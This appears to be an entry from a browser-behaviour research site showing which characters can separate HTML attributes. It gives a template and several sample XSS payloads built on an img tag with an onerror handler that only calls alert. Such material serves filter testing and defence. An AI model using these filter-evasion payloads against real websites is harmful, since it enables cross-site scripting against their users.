Bitflipping...

Characters allowed between HTML attributes

This vector shows what characters can be used to separate HTML attributes

Created by0x999-x

Created Apr 10, 2024

Updated May 25, 2025

Detecting browser...

CategoryDOM Behavior

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<img$[chr]src$[chr]onerror=log($[i])>

Sample payloads

<img0x09src0x09onerror=alert(9)>

<img
src
onerror=alert(10)>

<img0x0Csrc0x0Conerror=alert(12)>

<img0x0Dsrc0x0Donerror=alert(13)>

<img src onerror=alert(32)>

<img/src/onerror=alert(47)>